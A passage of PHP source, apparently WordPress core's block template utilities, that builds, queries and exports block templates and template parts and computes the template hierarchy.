$block['attrs']['theme'] = get_stylesheet(); } } /** * Removes the `theme` attribute from a given template part block. * * @since 6.4.0 * @access private * * @param array $block a parsed block. */ function _remove_theme_attribute_from_template_part_block( &$block ) { if ( 'core/template-part' === $block['blockName'] && isset( $block['attrs']['theme'] ) ) { unset( $block['attrs']['theme'] ); } } /** * Builds a unified template object based on a theme file. * * @since 5.9.0 * @since 6.3.0 Added `modified` property to template objects. * @access private * * @param array $template_file Theme file. * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. * @return WP_Block_Template Template. */ function _build_block_template_result_from_file( $template_file, $template_type ) { $default_template_types = get_default_block_template_types(); $theme = get_stylesheet(); $template = new WP_Block_Template(); $template->id = $theme . '//' . $template_file['slug']; $template->theme = $theme; $template->content = file_get_contents( $template_file['path'] ); $template->slug = $template_file['slug']; $template->source = 'theme'; $template->type = $template_type; $template->title = ! empty( $template_file['title'] ) ? $template_file['title'] : $template_file['slug']; $template->status = 'publish'; $template->has_theme_file = true; $template->is_custom = true; $template->modified = null; if ( 'wp_template' === $template_type ) { $registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template_file['slug'] ); if ( $registered_template ) { $template->plugin = $registered_template->plugin; $template->title = empty( $template->title ) || $template->title === $template->slug ? $registered_template->title : $template->title; $template->description = empty( $template->description ) ? $registered_template->description : $template->description; } } if ( 'wp_template' === $template_type && isset( $default_template_types[ $template_file['slug'] ] ) ) { $template->description = $default_template_types[ $template_file['slug'] ]['description']; $template->title = $default_template_types[ $template_file['slug'] ]['title']; $template->is_custom = false; } if ( 'wp_template' === $template_type && isset( $template_file['postTypes'] ) ) { $template->post_types = $template_file['postTypes']; } if ( 'wp_template_part' === $template_type && isset( $template_file['area'] ) ) { $template->area = $template_file['area']; } if ( 'wp_template_part' === $template->type ) { /* * In order for hooked blocks to be inserted at positions first_child and last_child in a template part, * we need to wrap its content a mock template part block and traverse it. */ $content = get_comment_delimited_block_content( 'core/template-part', array(), $template->content ); $content = apply_block_hooks_to_content( $content, $template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); $template->content = remove_serialized_parent_block( $content ); } else { $template->content = apply_block_hooks_to_content( $template->content, $template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); } return $template; } /** * Builds the title and description of a post-specific template based on the underlying referenced post. * * Mutates the underlying template object. * * @since 6.1.0 * @access private * * @param string $post_type Post type, e.g. page, post, product. * @param string $slug Slug of the post, e.g. a-story-about-shoes. * @param WP_Block_Template $template Template to mutate adding the description and title computed. * @return bool Returns true if the referenced post was found and false otherwise. */ function _wp_build_title_and_description_for_single_post_type_block_template( $post_type, $slug, WP_Block_Template $template ) { $post_type_object = get_post_type_object( $post_type ); $default_args = array( 'post_type' => $post_type, 'post_status' => 'publish', 'posts_per_page' => 1, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); $args = array( 'name' => $slug, ); $args = wp_parse_args( $args, $default_args ); $posts_query = new WP_Query( $args ); if ( empty( $posts_query->posts ) ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor referencing a post that was not found. 1: Post type singular name, 2: Post type slug. */ __( 'Not found: %1$s (%2$s)' ), $post_type_object->labels->singular_name, $slug ); return false; } $post_title = $posts_query->posts[0]->post_title; $template->title = sprintf( /* translators: Custom template title in the Site Editor. 1: Post type singular name, 2: Post title. */ __( '%1$s: %2$s' ), $post_type_object->labels->singular_name, $post_title ); $template->description = sprintf( /* translators: Custom template description in the Site Editor. %s: Post title. */ __( 'Template for %s' ), $post_title ); $args = array( 'title' => $post_title, ); $args = wp_parse_args( $args, $default_args ); $posts_with_same_title_query = new WP_Query( $args ); if ( count( $posts_with_same_title_query->posts ) > 1 ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor. 1: Template title, 2: Post type slug. */ __( '%1$s (%2$s)' ), $template->title, $slug ); } return true; } /** * Builds the title and description of a taxonomy-specific template based on the underlying entity referenced. * * Mutates the underlying template object. * * @since 6.1.0 * @access private * * @param string $taxonomy Identifier of the taxonomy, e.g. category. * @param string $slug Slug of the term, e.g. shoes. * @param WP_Block_Template $template Template to mutate adding the description and title computed. * @return bool True if the term referenced was found and false otherwise. */ function _wp_build_title_and_description_for_taxonomy_block_template( $taxonomy, $slug, WP_Block_Template $template ) { $taxonomy_object = get_taxonomy( $taxonomy ); $default_args = array( 'taxonomy' => $taxonomy, 'hide_empty' => false, 'update_term_meta_cache' => false, ); $term_query = new WP_Term_Query(); $args = array( 'number' => 1, 'slug' => $slug, ); $args = wp_parse_args( $args, $default_args ); $terms_query = $term_query->query( $args ); if ( empty( $terms_query ) ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor, referencing a taxonomy term that was not found. 1: Taxonomy singular name, 2: Term slug. */ __( 'Not found: %1$s (%2$s)' ), $taxonomy_object->labels->singular_name, $slug ); return false; } $term_title = $terms_query[0]->name; $template->title = sprintf( /* translators: Custom template title in the Site Editor. 1: Taxonomy singular name, 2: Term title. */ __( '%1$s: %2$s' ), $taxonomy_object->labels->singular_name, $term_title ); $template->description = sprintf( /* translators: Custom template description in the Site Editor. %s: Term title. */ __( 'Template for %s' ), $term_title ); $term_query = new WP_Term_Query(); $args = array( 'number' => 2, 'name' => $term_title, ); $args = wp_parse_args( $args, $default_args ); $terms_with_same_title_query = $term_query->query( $args ); if ( count( $terms_with_same_title_query ) > 1 ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor. 1: Template title, 2: Term slug. */ __( '%1$s (%2$s)' ), $template->title, $slug ); } return true; } /** * Builds a block template object from a post object. * * This is a helper function that creates a block template object from a given post object. * It is self-sufficient in that it only uses information passed as arguments; it does not * query the database for additional information. * * @since 6.5.3 * @access private * * @param WP_Post $post Template post. * @param array $terms Additional terms to inform the template object. * @param array $meta Additional meta fields to inform the template object. * @return WP_Block_Template|WP_Error Template or error object. */ function _build_block_template_object_from_post_object( $post, $terms = array(), $meta = array() ) { if ( empty( $terms['wp_theme'] ) ) { return new WP_Error( 'template_missing_theme', __( 'No theme is defined for this template.' ) ); } $theme = $terms['wp_theme']; $default_template_types = get_default_block_template_types(); $template_file = _get_block_template_file( $post->post_type, $post->post_name ); $has_theme_file = get_stylesheet() === $theme && null !== $template_file; $template = new WP_Block_Template(); $template->wp_id = $post->ID; $template->id = $theme . '//' . $post->post_name; $template->theme = $theme; $template->content = $post->post_content; $template->slug = $post->post_name; $template->source = 'custom'; $template->origin = ! empty( $meta['origin'] ) ? $meta['origin'] : null; $template->type = $post->post_type; $template->description = $post->post_excerpt; $template->title = $post->post_title; $template->status = $post->post_status; $template->has_theme_file = $has_theme_file; $template->is_custom = empty( $meta['is_wp_suggestion'] ); $template->author = $post->post_author; $template->modified = $post->post_modified; if ( 'wp_template' === $post->post_type && $has_theme_file && isset( $template_file['postTypes'] ) ) { $template->post_types = $template_file['postTypes']; } if ( 'wp_template' === $post->post_type && isset( $default_template_types[ $template->slug ] ) ) { $template->is_custom = false; } if ( 'wp_template_part' === $post->post_type && isset( $terms['wp_template_part_area'] ) ) { $template->area = $terms['wp_template_part_area']; } return $template; } /** * Builds a unified template object based a post Object. * * @since 5.9.0 * @since 6.3.0 Added `modified` property to template objects. * @since 6.4.0 Added support for a revision post to be passed to this function. * @access private * * @param WP_Post $post Template post. * @return WP_Block_Template|WP_Error Template or error object. */ function _build_block_template_result_from_post( $post ) { $post_id = wp_is_post_revision( $post ); if ( ! $post_id ) { $post_id = $post; } $parent_post = get_post( $post_id ); $post->post_name = $parent_post->post_name; $post->post_type = $parent_post->post_type; $terms = get_the_terms( $parent_post, 'wp_theme' ); if ( is_wp_error( $terms ) ) { return $terms; } if ( ! $terms ) { return new WP_Error( 'template_missing_theme', __( 'No theme is defined for this template.' ) ); } $terms = array( 'wp_theme' => $terms[0]->name, ); if ( 'wp_template_part' === $parent_post->post_type ) { $type_terms = get_the_terms( $parent_post, 'wp_template_part_area' ); if ( ! is_wp_error( $type_terms ) && false !== $type_terms ) { $terms['wp_template_part_area'] = $type_terms[0]->name; } } $meta = array( 'origin' => get_post_meta( $parent_post->ID, 'origin', true ), 'is_wp_suggestion' => get_post_meta( $parent_post->ID, 'is_wp_suggestion', true ), ); $template = _build_block_template_object_from_post_object( $post, $terms, $meta ); if ( is_wp_error( $template ) ) { return $template; } // Check for a block template without a description and title or with a title equal to the slug. if ( 'wp_template' === $parent_post->post_type && empty( $template->description ) && ( empty( $template->title ) || $template->title === $template->slug ) ) { $matches = array(); // Check for a block template for a single author, page, post, tag, category, custom post type, or custom taxonomy. if ( preg_match( '/(author|page|single|tag|category|taxonomy)-(.+)/', $template->slug, $matches ) ) { $type = $matches[1]; $slug_remaining = $matches[2]; switch ( $type ) { case 'author': $nice_name = $slug_remaining; $users = get_users( array( 'capability' => 'edit_posts', 'search' => $nice_name, 'search_columns' => array( 'user_nicename' ), 'fields' => 'display_name', ) ); if ( empty( $users ) ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor, referencing a deleted author. %s: Author nicename. */ __( 'Deleted author: %s' ), $nice_name ); } else { $author_name = $users[0]; $template->title = sprintf( /* translators: Custom template title in the Site Editor. %s: Author name. */ __( 'Author: %s' ), $author_name ); $template->description = sprintf( /* translators: Custom template description in the Site Editor. %s: Author name. */ __( 'Template for %s' ), $author_name ); $users_with_same_name = get_users( array( 'capability' => 'edit_posts', 'search' => $author_name, 'search_columns' => array( 'display_name' ), 'fields' => 'display_name', ) ); if ( count( $users_with_same_name ) > 1 ) { $template->title = sprintf( /* translators: Custom template title in the Site Editor. 1: Template title of an author template, 2: Author nicename. */ __( '%1$s (%2$s)' ), $template->title, $nice_name ); } } break; case 'page': _wp_build_title_and_description_for_single_post_type_block_template( 'page', $slug_remaining, $template ); break; case 'single': $post_types = get_post_types(); foreach ( $post_types as $post_type ) { $post_type_length = strlen( $post_type ) + 1; // If $slug_remaining starts with $post_type followed by a hyphen. if ( 0 === strncmp( $slug_remaining, $post_type . '-', $post_type_length ) ) { $slug = substr( $slug_remaining, $post_type_length, strlen( $slug_remaining ) ); $found = _wp_build_title_and_description_for_single_post_type_block_template( $post_type, $slug, $template ); if ( $found ) { break; } } } break; case 'tag': _wp_build_title_and_description_for_taxonomy_block_template( 'post_tag', $slug_remaining, $template ); break; case 'category': _wp_build_title_and_description_for_taxonomy_block_template( 'category', $slug_remaining, $template ); break; case 'taxonomy': $taxonomies = get_taxonomies(); foreach ( $taxonomies as $taxonomy ) { $taxonomy_length = strlen( $taxonomy ) + 1; // If $slug_remaining starts with $taxonomy followed by a hyphen. if ( 0 === strncmp( $slug_remaining, $taxonomy . '-', $taxonomy_length ) ) { $slug = substr( $slug_remaining, $taxonomy_length, strlen( $slug_remaining ) ); $found = _wp_build_title_and_description_for_taxonomy_block_template( $taxonomy, $slug, $template ); if ( $found ) { break; } } } break; } } } if ( 'wp_template' === $post->post_type ) { $registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug ); if ( $registered_template ) { $template->plugin = $registered_template->plugin; $template->origin = 'theme' !== $template->origin && 'theme' !== $template->source ? 'plugin' : $template->origin; $template->title = empty( $template->title ) || $template->title === $template->slug ? $registered_template->title : $template->title; $template->description = empty( $template->description ) ? $registered_template->description : $template->description; } } if ( 'wp_template_part' === $template->type ) { $existing_ignored_hooked_blocks = get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true ); $attributes = ! empty( $existing_ignored_hooked_blocks ) ? array( 'metadata' => array( 'ignoredHookedBlocks' => json_decode( $existing_ignored_hooked_blocks, true ) ) ) : array(); /* * In order for hooked blocks to be inserted at positions first_child and last_child in a template part, * we need to wrap its content a mock template part block and traverse it. */ $content = get_comment_delimited_block_content( 'core/template-part', $attributes, $template->content ); $content = apply_block_hooks_to_content( $content, $template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); $template->content = remove_serialized_parent_block( $content ); } else { $template->content = apply_block_hooks_to_content( $template->content, $template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); } return $template; } /** * Retrieves a list of unified template objects based on a query. * * @since 5.8.0 * * @param array $query { * Optional. Arguments to retrieve templates. * * @type string[] $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * @type string $area A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only). * @type string $post_type Post type to get the templates for. * } * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. * @return WP_Block_Template[] Array of block templates. */ function get_block_templates( $query = array(), $template_type = 'wp_template' ) { /** * Filters the block templates array before the query takes place. * * Return a non-null value to bypass the WordPress queries. * * @since 5.9.0 * * @param WP_Block_Template[]|null $block_templates Return an array of block templates to short-circuit the default query, * or null to allow WP to run its normal queries. * @param array $query { * Arguments to retrieve templates. All arguments are optional. * * @type string[] $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * @type string $area A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only). * @type string $post_type Post type to get the templates for. * } * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ $templates = apply_filters( 'pre_get_block_templates', null, $query, $template_type ); if ( ! is_null( $templates ) ) { return $templates; } $post_type = isset( $query['post_type'] ) ? $query['post_type'] : ''; $wp_query_args = array( 'post_status' => array( 'auto-draft', 'draft', 'publish' ), 'post_type' => $template_type, 'posts_per_page' => -1, 'no_found_rows' => true, 'lazy_load_term_meta' => false, 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => get_stylesheet(), ), ), ); if ( 'wp_template_part' === $template_type && isset( $query['area'] ) ) { $wp_query_args['tax_query'][] = array( 'taxonomy' => 'wp_template_part_area', 'field' => 'name', 'terms' => $query['area'], ); $wp_query_args['tax_query']['relation'] = 'AND'; } if ( ! empty( $query['slug__in'] ) ) { $wp_query_args['post_name__in'] = $query['slug__in']; $wp_query_args['posts_per_page'] = count( array_unique( $query['slug__in'] ) ); } // This is only needed for the regular templates/template parts post type listing and editor. if ( isset( $query['wp_id'] ) ) { $wp_query_args['p'] = $query['wp_id']; } else { $wp_query_args['post_status'] = 'publish'; } $template_query = new WP_Query( $wp_query_args ); $query_result = array(); foreach ( $template_query->posts as $post ) { $template = _build_block_template_result_from_post( $post ); if ( is_wp_error( $template ) ) { continue; } if ( $post_type && ! $template->is_custom ) { continue; } if ( $post_type && isset( $template->post_types ) && ! in_array( $post_type, $template->post_types, true ) ) { continue; } $query_result[] = $template; } if ( ! isset( $query['wp_id'] ) ) { /* * If the query has found some user templates, those have priority * over the theme-provided ones, so we skip querying and building them. */ $query['slug__not_in'] = wp_list_pluck( $query_result, 'slug' ); /* * We need to unset the post_type query param because some templates * would be excluded otherwise, like `page.html` when looking for * `page` templates. We need all templates so we can exclude duplicates * from plugin-registered templates. * See: https://github.com/WordPress/gutenberg/issues/65584 */ $template_files_query = $query; unset( $template_files_query['post_type'] ); $template_files = _get_block_templates_files( $template_type, $template_files_query ); foreach ( $template_files as $template_file ) { // If the query doesn't specify a post type, or it does and the template matches the post type, add it. if ( ! isset( $query['post_type'] ) || ( isset( $template_file['postTypes'] ) && in_array( $query['post_type'], $template_file['postTypes'], true ) ) ) { $query_result[] = _build_block_template_result_from_file( $template_file, $template_type ); } elseif ( ! isset( $template_file['postTypes'] ) ) { // The custom templates with no associated post types are available for all post types as long // as they are not default templates. $candidate = _build_block_template_result_from_file( $template_file, $template_type ); $default_template_types = get_default_block_template_types(); if ( ! isset( $default_template_types[ $candidate->slug ] ) ) { $query_result[] = $candidate; } } } if ( 'wp_template' === $template_type ) { // Add templates registered in the template registry. Filtering out the ones which have a theme file. $registered_templates = WP_Block_Templates_Registry::get_instance()->get_by_query( $query ); $matching_registered_templates = array_filter( $registered_templates, function ( $registered_template ) use ( $template_files ) { foreach ( $template_files as $template_file ) { if ( $template_file['slug'] === $registered_template->slug ) { return false; } } return true; } ); $matching_registered_templates = array_map( function ( $template ) { $template->content = apply_block_hooks_to_content( $template->content, $template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); return $template; }, $matching_registered_templates ); $query_result = array_merge( $query_result, $matching_registered_templates ); } } /** * Filters the array of queried block templates array after they've been fetched. * * @since 5.9.0 * * @param WP_Block_Template[] $query_result Array of found block templates. * @param array $query { * Arguments to retrieve templates. All arguments are optional. * * @type string[] $slug__in List of slugs to include. * @type int $wp_id Post ID of customized template. * @type string $area A 'wp_template_part_area' taxonomy value to filter by (for 'wp_template_part' template type only). * @type string $post_type Post type to get the templates for. * } * @param string $template_type wp_template or wp_template_part. */ return apply_filters( 'get_block_templates', $query_result, $query, $template_type ); } /** * Retrieves a single unified template object using its id. * * @since 5.8.0 * * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Optional. Template type. Either 'wp_template' or 'wp_template_part'. * Default 'wp_template'. * @return WP_Block_Template|null Template. */ function get_block_template( $id, $template_type = 'wp_template' ) { /** * Filters the block template object before the query takes place. * * Return a non-null value to bypass the WordPress queries. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query, * or null to allow WP to run its normal queries. * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ $block_template = apply_filters( 'pre_get_block_template', null, $id, $template_type ); if ( ! is_null( $block_template ) ) { return $block_template; } $parts = explode( '//', $id, 2 ); if ( count( $parts ) < 2 ) { return null; } list( $theme, $slug ) = $parts; $wp_query_args = array( 'post_name__in' => array( $slug ), 'post_type' => $template_type, 'post_status' => array( 'auto-draft', 'draft', 'publish', 'trash' ), 'posts_per_page' => 1, 'no_found_rows' => true, 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), ); $template_query = new WP_Query( $wp_query_args ); $posts = $template_query->posts; if ( count( $posts ) > 0 ) { $template = _build_block_template_result_from_post( $posts[0] ); if ( ! is_wp_error( $template ) ) { return $template; } } $block_template = get_block_file_template( $id, $template_type ); /** * Filters the queried block template object after it's been fetched. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template The found block template, or null if there isn't one. * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ return apply_filters( 'get_block_template', $block_template, $id, $template_type ); } /** * Retrieves a unified template object based on a theme file or plugin registration. * * This is a fallback of get_block_template(), used when no templates are found in the database. * Also checks for templates registered via the Template Registration API. * * @since 5.9.0 * * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Optional. Template type. Either 'wp_template' or 'wp_template_part'. * Default 'wp_template'. * @return WP_Block_Template|null The found block template, or null if there isn't one. */ function get_block_file_template( $id, $template_type = 'wp_template' ) { /** * Filters the block template object before the theme file discovery takes place. * * Return a non-null value to bypass the WordPress theme file discovery. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template Return block template object to short-circuit the default query, * or null to allow WP to run its normal queries. * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ $block_template = apply_filters( 'pre_get_block_file_template', null, $id, $template_type ); if ( ! is_null( $block_template ) ) { return $block_template; } $parts = explode( '//', $id, 2 ); if ( count( $parts ) < 2 ) { /** This filter is documented in wp-includes/block-template-utils.php */ return apply_filters( 'get_block_file_template', null, $id, $template_type ); } list( $theme, $slug ) = $parts; if ( get_stylesheet() === $theme ) { $template_file = _get_block_template_file( $template_type, $slug ); if ( null !== $template_file ) { $block_template = _build_block_template_result_from_file( $template_file, $template_type ); /** This filter is documented in wp-includes/block-template-utils.php */ return apply_filters( 'get_block_file_template', $block_template, $id, $template_type ); } } $block_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $slug ); if ( $block_template ) { $block_template->content = apply_block_hooks_to_content( $block_template->content, $block_template, 'insert_hooked_blocks_and_set_ignored_hooked_blocks_metadata' ); } /** * Filters the block template object after it has been (potentially) fetched from the theme file. * * @since 5.9.0 * * @param WP_Block_Template|null $block_template The found block template, or null if there is none. * @param string $id Template unique identifier (example: 'theme_slug//template_slug'). * @param string $template_type Template type. Either 'wp_template' or 'wp_template_part'. */ return apply_filters( 'get_block_file_template', $block_template, $id, $template_type ); } /** * Prints a block template part. * * @since 5.9.0 * * @param string $part The block template part to print, for example 'header' or 'footer'. */ function block_template_part( $part ) { $template_part = get_block_template( get_stylesheet() . '//' . $part, 'wp_template_part' ); if ( ! $template_part || empty( $template_part->content ) ) { return; } echo do_blocks( $template_part->content ); } /** * Prints the header block template part. * * @since 5.9.0 */ function block_header_area() { block_template_part( 'header' ); } /** * Prints the footer block template part. * * @since 5.9.0 */ function block_footer_area() { block_template_part( 'footer' ); } /** * Determines whether a theme directory should be ignored during export. * * @since 6.0.0 * * @param string $path The path of the file in the theme. * @return bool Whether this file is in an ignored directory. */ function wp_is_theme_directory_ignored( $path ) { $directories_to_ignore = array( '.DS_Store', '.svn', '.git', '.hg', '.bzr', 'node_modules', 'vendor' ); foreach ( $directories_to_ignore as $directory ) { if ( str_starts_with( $path, $directory ) ) { return true; } } return false; } /** * Creates an export of the current templates and * template parts from the site editor at the * specified path in a ZIP file. * * @since 5.9.0 * @since 6.0.0 Adds the whole theme to the export archive. * * @return WP_Error|string Path of the ZIP file or error on failure. */ function wp_generate_block_templates_export_file() { $wp_version = wp_get_wp_version(); if ( ! class_exists( 'ZipArchive' ) ) { return new WP_Error( 'missing_zip_package', __( 'Zip Export not supported.' ) ); } $obscura = wp_generate_password( 12, false, false ); $theme_name = basename( get_stylesheet() ); $filename = get_temp_dir() . $theme_name . $obscura . '.zip'; $zip = new ZipArchive(); if ( true !== $zip->open( $filename, ZipArchive::CREATE | ZipArchive::OVERWRITE ) ) { return new WP_Error( 'unable_to_create_zip', __( 'Unable to open export file (archive) for writing.' ) ); } $zip->addEmptyDir( 'templates' ); $zip->addEmptyDir( 'parts' ); // Get path of the theme. $theme_path = wp_normalize_path( get_stylesheet_directory() ); // Create recursive directory iterator. $theme_files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $theme_path ), RecursiveIteratorIterator::LEAVES_ONLY ); // Make a copy of the current theme. foreach ( $theme_files as $file ) { // Skip directories as they are added automatically. if ( ! $file->isDir() ) { // Get real and relative path for current file. $file_path = wp_normalize_path( $file ); $relative_path = substr( $file_path, strlen( $theme_path ) + 1 ); if ( ! wp_is_theme_directory_ignored( $relative_path ) ) { $zip->addFile( $file_path, $relative_path ); } } } // Load templates into the zip file. $templates = get_block_templates(); foreach ( $templates as $template ) { $template->content = traverse_and_serialize_blocks( parse_blocks( $template->content ), '_remove_theme_attribute_from_template_part_block' ); $zip->addFromString( 'templates/' . $template->slug . '.html', $template->content ); } // Load template parts into the zip file. $template_parts = get_block_templates( array(), 'wp_template_part' ); foreach ( $template_parts as $template_part ) { $zip->addFromString( 'parts/' . $template_part->slug . '.html', $template_part->content ); } // Load theme.json into the zip file. $tree = WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) ); // Merge with user data. $tree->merge( WP_Theme_JSON_Resolver::get_user_data() ); $theme_json_raw = $tree->get_data(); // If a version is defined, add a schema. if ( $theme_json_raw['version'] ) { $theme_json_version = 'wp/' . substr( $wp_version, 0, 3 ); $schema = array( '$schema' => 'https://schemas.wp.org/' . $theme_json_version . '/theme.json' ); $theme_json_raw = array_merge( $schema, $theme_json_raw ); } // Convert to a string. $theme_json_encoded = wp_json_encode( $theme_json_raw, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE ); // Replace 4 spaces with a tab. $theme_json_tabbed = preg_replace( '~(?:^|\G)\h{4}~m', "\t", $theme_json_encoded ); // Add the theme.json file to the zip. $zip->addFromString( 'theme.json', $theme_json_tabbed ); // Save changes to the zip file. $zip->close(); return $filename; } /** * Gets the template hierarchy for the given template slug to be created. * * Note: Always add `index` as the last fallback template. * * @since 6.1.0 * * @param string $slug The template slug to be created. * @param bool $is_custom Optional. Indicates if a template is custom or * part of the template hierarchy. Default false. * @param string $template_prefix Optional. The template prefix for the created template. * Used to extract the main template type, e.g. * in `taxonomy-books` the `taxonomy` is extracted. * Default empty string. * @return string[] The template hierarchy. */ function get_template_hierarchy( $slug, $is_custom = false, $template_prefix = '' ) { if ( 'index' === $slug ) { /** This filter is documented in wp-includes/template.php */ return apply_filters( 'index_template_hierarchy', array( 'index' ) ); } if ( $is_custom ) { /** This filter is documented in wp-includes/template.php */ return apply_filters( 'page_template_hierarchy', array( 'page', 'singular', 'index' ) ); } if ( 'front-page' === $slug ) { /** This filter is documented in wp-includes/template.php */ return apply_filters( 'frontpage_template_hierarchy', array( 'front-page', 'home', 'index' ) ); } $matches = array(); $template_hierarchy = array( $slug ); // Most default templates don't have `$template_prefix` assigned. if ( ! empty( $template_prefix ) ) { list( $type ) = explode( '-', $template_prefix ); // We need these checks because we always add the `$slug` above. if ( ! in_array( $template_prefix, array( $slug, $type ), true ) ) { $template_hierarchy[] = $template_prefix; } if ( $slug !== $type ) { $template_hierarchy[] = $type; } } elseif ( preg_match( '/^(author|category|archive|tag|page)-.+$/', $slug, $matches ) ) { $template_hierarchy[] = $matches[1]; } elseif ( preg_match( '/^(taxonomy|single)-(.+)$/', $slug, $matches ) ) { $type = $matches[1]; $slug_remaining = $matches[2]; $items = 'single' === $type ? get_post_types() : get_taxonomies(); foreach ( $items as $item ) { if ( ! str_starts_with( $slug_remaining, $item ) ) { continue; } // If $slug_remaining is equal to $post_type or $taxonomy we have // the single-$post_type template or the taxonomy-$taxonomy template. if ( $slug_remaining === $item ) { $template_hierarchy[] = $type; break; } // If $slug_remaining is single-$post_type-$slug template. if ( strlen( $slug_remaining ) > strlen( $item ) + 1 ) { $template_hierarchy[] = "$type-$item"; $template_hierarchy[] = $type; break; } } } // Handle `archive` template. if ( str_starts_with( $slug, 'author' ) || str_starts_with( $slug, 'taxonomy' ) || str_starts_with( $slug, 'category' ) || str_starts_with( $slug, 'tag' ) || 'date' === $slug ) { $template_hierarchy[] = 'archive'; } // Handle `single` template. if ( 'attachment' === $slug ) { $template_hierarchy[] = 'single'; } // Handle `singular` template. if ( str_starts_with( $slug, 'single' ) || str_starts_with( $slug, 'page' ) || 'attachment' === $slug ) { $template_hierarchy[] = 'singular'; } $template_hierarchy[] = 'index'; $template_type = ''; if ( ! empty( $template_prefix ) ) { list( $template_type ) = explode( '-', $template_prefix ); } else { list( $template_type ) = explode( '-', $slug ); } $valid_template_types = array( '404', 'archive', 'attachment', 'author', 'category', 'date', 'embed', 'frontpage', 'home', 'index', 'page', 'paged', 'privacypolicy', 'search', 'single', 'singular', 'tag', 'taxonomy' ); if ( in_array( $template_type, $valid_template_types, true ) ) { /** This filter is documented in wp-includes/template.php */ return apply_filters( "{$template_type}_template_hierarchy", $template_hierarchy ); } return $template_hierarchy; } /** * Inject ignoredHookedBlocks metadata attributes into a template or template part. * * Given an object that represents a `wp_template` or `wp_template_part` post object * prepared for inserting or updating the database, locate all blocks that have * hooked blocks, and inject a `metadata.ignoredHookedBlocks` attribute into the anchor * blocks to reflect the latter. * * @since 6.5.0 * @access private * * @param stdClass $changes An object representing a template or template part * prepared for inserting or updating the database. * @param WP_REST_Request $deprecated Deprecated. Not used. * @return stdClass|WP_Error The updated object representing a template or template part. */ function inject_ignored_hooked_blocks_metadata_attributes( $changes, $deprecated = null ) { if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '6.5.3' ); } if ( ! isset( $changes->post_content ) ) { return $changes; } $hooked_blocks = get_hooked_blocks(); if ( empty( $hooked_blocks ) && ! has_filter( 'hooked_block_types' ) ) { return $changes; } $meta = isset( $changes->meta_input ) ? $changes->meta_input : array(); $terms = isset( $changes->tax_input ) ? $changes->tax_input : array(); if ( empty( $changes->ID ) ) { // There's no post object for this template in the database for this template yet. $post = $changes; } else { // Find the existing post object. $post = get_post( $changes->ID ); // If the post is a revision, use the parent post's post_name and post_type. $post_id = wp_is_post_revision( $post ); if ( $post_id ) { $parent_post = get_post( $post_id ); $post->post_name = $parent_post->post_name; $post->post_type = $parent_post->post_type; } // Apply the changes to the existing post object. $post = (object) array_merge( (array) $post, (array) $changes ); $type_terms = get_the_terms( $changes->ID, 'wp_theme' ); $terms['wp_theme'] = ! is_wp_error( $type_terms ) && ! empty( $type_terms ) ? $type_terms[0]->name : null; } // Required for the WP_Block_Template. Update the post object with the current time. $post->post_modified = current_time( 'mysql' ); // If the post_author is empty, set it to the current user. if ( empty( $post->post_author ) ) { $post->post_author = get_current_user_id(); } if ( 'wp_template_part' === $post->post_type && ! isset( $terms['wp_template_part_area'] ) ) { $area_terms = get_the_terms( $changes->ID, 'wp_template_part_area' ); $terms['wp_template_part_area'] = ! is_wp_error( $area_terms ) && ! empty( $area_terms ) ? $area_terms[0]->name : null; } $template = _build_block_template_object_from_post_object( new WP_Post( $post ), $terms, $meta ); if ( is_wp_error( $template ) ) { return $template; } if ( 'wp_template_part' === $post->post_type ) { $attributes = array(); $existing_ignored_hooked_blocks = isset( $post->ID ) ? get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true ) : ''; if ( ! empty( $existing_ignored_hooked_blocks ) ) { $attributes['metadata'] = array( 'ignoredHookedBlocks' => json_decode( $existing_ignored_hooked_blocks, true ), ); } $content = get_comment_delimited_block_content( 'core/template-part', $attributes, $changes->post_content ); $content = apply_block_hooks_to_content( $content, $template, 'set_ignored_hooked_blocks_metadata' ); $changes->post_content = remove_serialized_parent_block( $content ); $wrapper_block_markup = extract_serialized_parent_block( $content ); $wrapper_block = parse_blocks( $wrapper_block_markup )[0]; $ignored_hooked_blocks = $wrapper_block['attrs']['metadata']['ignoredHookedBlocks'] 